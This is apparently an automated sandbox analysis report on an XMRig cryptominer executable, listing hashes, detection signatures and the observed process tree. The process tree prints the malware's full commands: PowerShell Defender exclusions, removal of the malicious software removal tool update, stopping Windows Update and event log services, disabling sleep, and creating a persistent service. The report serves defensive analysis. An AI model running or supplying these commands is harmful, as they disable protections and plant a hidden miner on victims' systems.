Analysis
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max time kernel
150s -
max time network
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platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
17-11-2024 03:04
Static task
static1
Behavioral task
behavioral1
Sample
18917628380cfded6a58ddfa99338b89f5ac2ae790d87833788dde751b832003.exe
Resource
win7-20240903-en
General
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Target
18917628380cfded6a58ddfa99338b89f5ac2ae790d87833788dde751b832003.exe
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Size
5.6MB
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MD5
206d09d8ddd6232930919da677276cea
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SHA1
e273897ec1004b8055323fc48047c519aaa4047f
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SHA256
18917628380cfded6a58ddfa99338b89f5ac2ae790d87833788dde751b832003
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SHA512
2af732bc21a8133657d6bf1381e5ad553170c3cd943d684ae51f3b1dbd7b2d69155f3470ea9d1090f285dd0112550ad4fb8e4efb101b92b31acb8d9d21d4d7f7
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SSDEEP
98304:KggSZTFznDHwE8oohoIgNgx+r3P4jw4fn9E32RW0O2gT/gQGhP3oFL6p4kvDZ/Hn:DgSZJznDHMo+JgNgx+r3P+e32BO2gjgj
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 9 IoCs
resource yara_rule behavioral1/memory/2368-33-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2368-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2368-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2368-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2368-40-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2368-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2368-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2368-42-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2368-41-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2856 powershell.exe 2900 powershell.exe -
Creates new service(s) 2 TTPs
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Deletes itself 1 IoCs
pid Process 2628 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 476 Process not Found 1004 fqwofdtexigy.exe -
Loads dropped DLL 1 IoCs
pid Process 476 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 1880 powercfg.exe 1628 powercfg.exe 2388 powercfg.exe 2232 powercfg.exe 1312 powercfg.exe 2128 powercfg.exe 996 powercfg.exe 2100 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe 18917628380cfded6a58ddfa99338b89f5ac2ae790d87833788dde751b832003.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe fqwofdtexigy.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1004 set thread context of 2208 1004 fqwofdtexigy.exe 87 PID 1004 set thread context of 2368 1004 fqwofdtexigy.exe 89 -
resource yara_rule behavioral1/memory/2368-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2368-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2368-33-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2368-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2368-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2368-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2368-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2368-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2368-39-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2368-40-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2368-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2368-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2368-42-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2368-41-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2684 sc.exe 864 sc.exe 2356 sc.exe 2556 sc.exe 2776 sc.exe 1764 sc.exe 2944 sc.exe 2196 sc.exe 2604 sc.exe 2816 sc.exe 2636 sc.exe 2156 sc.exe 1624 sc.exe 1096 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 405b4c889d38db01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2260 18917628380cfded6a58ddfa99338b89f5ac2ae790d87833788dde751b832003.exe 2856 powershell.exe 2260 18917628380cfded6a58ddfa99338b89f5ac2ae790d87833788dde751b832003.exe 2260 18917628380cfded6a58ddfa99338b89f5ac2ae790d87833788dde751b832003.exe 2260 18917628380cfded6a58ddfa99338b89f5ac2ae790d87833788dde751b832003.exe 2260 18917628380cfded6a58ddfa99338b89f5ac2ae790d87833788dde751b832003.exe 2260 18917628380cfded6a58ddfa99338b89f5ac2ae790d87833788dde751b832003.exe 2260 18917628380cfded6a58ddfa99338b89f5ac2ae790d87833788dde751b832003.exe 2260 18917628380cfded6a58ddfa99338b89f5ac2ae790d87833788dde751b832003.exe 2260 18917628380cfded6a58ddfa99338b89f5ac2ae790d87833788dde751b832003.exe 2260 18917628380cfded6a58ddfa99338b89f5ac2ae790d87833788dde751b832003.exe 2260 18917628380cfded6a58ddfa99338b89f5ac2ae790d87833788dde751b832003.exe 2260 18917628380cfded6a58ddfa99338b89f5ac2ae790d87833788dde751b832003.exe 2260 18917628380cfded6a58ddfa99338b89f5ac2ae790d87833788dde751b832003.exe 2260 18917628380cfded6a58ddfa99338b89f5ac2ae790d87833788dde751b832003.exe 2260 18917628380cfded6a58ddfa99338b89f5ac2ae790d87833788dde751b832003.exe 2260 18917628380cfded6a58ddfa99338b89f5ac2ae790d87833788dde751b832003.exe 1004 fqwofdtexigy.exe 2900 powershell.exe 1004 fqwofdtexigy.exe 1004 fqwofdtexigy.exe 1004 fqwofdtexigy.exe 1004 fqwofdtexigy.exe 1004 fqwofdtexigy.exe 1004 fqwofdtexigy.exe 1004 fqwofdtexigy.exe 1004 fqwofdtexigy.exe 1004 fqwofdtexigy.exe 1004 fqwofdtexigy.exe 1004 fqwofdtexigy.exe 1004 fqwofdtexigy.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe 2368 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 2856 powershell.exe Token: SeShutdownPrivilege 996 powercfg.exe Token: SeShutdownPrivilege 2100 powercfg.exe Token: SeShutdownPrivilege 1880 powercfg.exe Token: SeShutdownPrivilege 1628 powercfg.exe Token: SeDebugPrivilege 2900 powershell.exe Token: SeShutdownPrivilege 2388 powercfg.exe Token: SeShutdownPrivilege 2128 powercfg.exe Token: SeShutdownPrivilege 2232 powercfg.exe Token: SeShutdownPrivilege 1312 powercfg.exe Token: SeLockMemoryPrivilege 2368 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2772 wrote to memory of 2708 2772 cmd.exe 37 PID 2772 wrote to memory of 2708 2772 cmd.exe 37 PID 2772 wrote to memory of 2708 2772 cmd.exe 37 PID 2628 wrote to memory of 580 2628 cmd.exe 63 PID 2628 wrote to memory of 580 2628 cmd.exe 63 PID 2628 wrote to memory of 580 2628 cmd.exe 63 PID 1228 wrote to memory of 1128 1228 cmd.exe 71 PID 1228 wrote to memory of 1128 1228 cmd.exe 71 PID 1228 wrote to memory of 1128 1228 cmd.exe 71 PID 1004 wrote to memory of 2208 1004 fqwofdtexigy.exe 87 PID 1004 wrote to memory of 2208 1004 fqwofdtexigy.exe 87 PID 1004 wrote to memory of 2208 1004 fqwofdtexigy.exe 87 PID 1004 wrote to memory of 2208 1004 fqwofdtexigy.exe 87 PID 1004 wrote to memory of 2208 1004 fqwofdtexigy.exe 87 PID 1004 wrote to memory of 2208 1004 fqwofdtexigy.exe 87 PID 1004 wrote to memory of 2208 1004 fqwofdtexigy.exe 87 PID 1004 wrote to memory of 2208 1004 fqwofdtexigy.exe 87 PID 1004 wrote to memory of 2208 1004 fqwofdtexigy.exe 87 PID 1004 wrote to memory of 2368 1004 fqwofdtexigy.exe 89 PID 1004 wrote to memory of 2368 1004 fqwofdtexigy.exe 89 PID 1004 wrote to memory of 2368 1004 fqwofdtexigy.exe 89 PID 1004 wrote to memory of 2368 1004 fqwofdtexigy.exe 89 PID 1004 wrote to memory of 2368 1004 fqwofdtexigy.exe 89
Processes
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C:\Users\Admin\AppData\Local\Temp\18917628380cfded6a58ddfa99338b89f5ac2ae790d87833788dde751b832003.exe"C:\Users\Admin\AppData\Local\Temp\18917628380cfded6a58ddfa99338b89f5ac2ae790d87833788dde751b832003.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2260 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2856
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2772 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:2708
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2604
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2816
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2684
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2636
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2156
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2100
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:996
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1880
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1628
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JVNIRHNX"2⤵
- Launches sc.exe
PID:864
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JVNIRHNX" binpath= "C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe" start= "auto"2⤵
- Launches sc.exe
PID:2356
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:2556
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JVNIRHNX"2⤵
- Launches sc.exe
PID:2944
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\18917628380cfded6a58ddfa99338b89f5ac2ae790d87833788dde751b832003.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2628 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:580
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C:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exeC:\ProgramData\xhzmmmxzrrwn\fqwofdtexigy.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1004 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2900
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:1228 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:1128
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2196
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1624
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:1096
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2776
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:1764
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2388
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2128
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1312
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2232
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:2208
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C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2368
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.6MB
MD5206d09d8ddd6232930919da677276cea
SHA1e273897ec1004b8055323fc48047c519aaa4047f
SHA25618917628380cfded6a58ddfa99338b89f5ac2ae790d87833788dde751b832003
SHA5122af732bc21a8133657d6bf1381e5ad553170c3cd943d684ae51f3b1dbd7b2d69155f3470ea9d1090f285dd0112550ad4fb8e4efb101b92b31acb8d9d21d4d7f7